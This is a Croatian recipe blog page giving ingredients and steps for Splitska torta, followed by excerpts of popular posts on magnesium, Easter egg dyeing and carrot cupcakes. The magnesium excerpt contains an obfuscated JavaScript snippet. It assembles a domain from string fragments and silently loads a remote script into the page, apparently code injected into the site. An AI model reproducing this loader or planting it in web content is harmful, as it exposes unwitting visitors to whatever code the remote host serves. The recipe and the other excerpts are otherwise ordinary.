SPLITSKA TORTA 🍰





Splitska torta 



Lagali bismo kad bismo kazali da nije ekstra kalorična, ali za one koji paze na liniju utješno je da je dovoljna mala, tanka feta za zasladiti se. A ako ne volite pretjerano slatku tortu, slobodno još malo smanjite količinu šećera, jer ga je sasvim dovoljno i u suhim smokvama i u grožđicama.




Splitska torta 


Sastojci:

Biskvit

150 g oraha
150 g suhih smokava
150 g grožđica
9 bjelanjaka
5 žlica šećera
3 žlice oštrog brašna
1 prstohvat soli


Krema

200 g maslaca
9 žumanjaka
5 žlica šećera u prahu
1 vanilin šećer
malo naribane korice naranče


Za natapanje kora:

malo soka od naranče
malo maraskina



Priprema:

Sitno nasjeckajte smokve, grožđice i orahe pa ih pomiješajte s brašnom. Veliku škrovadu iz pećnice lagano premažite s nekoliko kapi ulja pa obložite papirom za pečenje.

Bjelanjke sa soli izmiksajte u čvrst snijeg. Postupno dodajte šećer i nastavite miksati dok smjesa ne postane sjajna i čvrsta. U snijeg lagano umiješajte pripremljene smokve, grožđice i orahe. Smjesu rasporedite po škrovadi i poravnajte.

Pecite na 180 °C oko 25 minuta. Nakon pečenja ugasite pećnicu, malo otvorite vrata i ostavite biskvit nekoliko minuta unutra.

Ohlađeni biskvit prerežite uzdužno na tri jednake trake pa pažljivo uklonite papir za pečenje. Za kremu pomiješajte žumanjke, šećer u prahu i vanilin šećer. Kuhajte na pari uz stalno miješanje dok se krema ne zgusne. Ostavite da se potpuno ohladi.

Maslac izradite mikserom pa mu dodajte ohlađenu kremu i naribanu koricu naranče. Sve dobro sjedinite miksanjem. Pomiješajte maraskino i sok od naranče pa lagano natopite sve kore. Svaku koru premažite dijelom kreme i složite jednu na drugu. Ostatkom kreme premažite tortu izvana. Na kraju ukrasite orasima i grožđicama.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više